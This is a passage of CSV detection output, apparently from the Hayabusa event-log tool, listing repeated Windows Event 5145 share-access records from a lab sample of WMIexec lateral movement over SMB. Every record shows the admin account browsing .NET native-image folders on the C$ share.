+09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\AuditPolicy42d3d2cc#\9fe5c370593d72077c6ebc935bdccaf8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\blbmmc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\blbmmc\5965cfde76afc1f5c5d70d32fe0c7270 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\blbproxy : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\blbproxy\9efa8cc0254efc497ae439914bbe9207 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\blbwizfx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\blbwizfx\8feba1d1646b72a4bc348315fa7bad6b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\ComSvcConfig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.435 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\ComSvcConfig\44570ea6e616aa8a35b0768a4336f69d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.450 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\CustomMarshalers : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.450 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\CustomMarshalers\a5132d26ad1468bf7b6b89725e4cefce : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\dfsvc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\dfsvc\a086b75bb1e8ee361af6ed079a6b77b4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\EmbeddedLockdown : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\EmbeddedLockdown\870a6acacd5e95c0ffca82696cdb1d38 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\EventViewer : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\EventViewer\dc4701b2db7cf17a8b91db454a97c991 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.466 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\ipamapi : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.482 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\ipamapi\dae9598a3b2d70231e340696e284163f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.497 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.A3ec156ec# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.497 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.A3ec156ec#\e6ff20c47a7e849012d7ce8bdd777896 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.529 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.A26c32abb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.529 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.A26c32abb#\e58c4e8c63c0494a59885d5502339144 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.529 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Abf69f55a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.529 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Abf69f55a#\9f5bb7b6ff9da9d2a0649311aef761e8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B22c61a69# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B22c61a69#\a9e1bbb2f77ddf73fdc37769da51597e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B46c55d17# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B46c55d17#\acca0c1913cd50d9cfb935bc3fdcb23d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B83e9cb53# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.544 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B83e9cb53#\84fa86c4d86aa17ce68c75a1625383e0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.575 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B3325a29b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.575 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.B3325a29b#\11e47175268433f2afe5bf68ea4899ae : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.575 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Baa2ca56b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.575 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Baa2ca56b#\44884740e6e261405b0440efde616082 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.607 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Bfc9dc24d# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.607 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Bfc9dc24d#\465ef4c9fe7c77ed5384c3c379fbe9b3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.607 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Build : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.607 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Build\a7bcc49edef862e86e95e8959d30ae67 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.607 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.C8d726d22# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.607 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.C8d726d22#\7a53b2a7d76ecfa30210cf5ead782971 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.622 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.C25dcfcb8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.622 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.C25dcfcb8#\02acbf854b27f2d83aa9eec6e1f6135a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.622 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.C26a36d2b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.622 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.C26a36d2b#\69e2093b3cec29bdd3c9fbba83990dfe : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ca018eff0# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ca018eff0#\dd2dddd8e337402ac96330a8d24120d6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.CSharp : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.CSharp\3df09428e1087ca282100efc481a9947 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.D0ff51f83# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.D0ff51f83#\93e744bcb19dc3206bfff080448a94e1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.638 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.G46fcc235# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.654 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.G46fcc235#\8b051a98022e8b354053e87e1dcaf2f0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.663 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.G91a07420# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.663 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.G91a07420#\88eec28a11e76fffbecf3de79cadf076 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.670 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ga41585c2# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.670 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Ga41585c2#\d75626a8ff89596aee2cf2c9eb554cbf : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.686 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.I0cd65b90# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 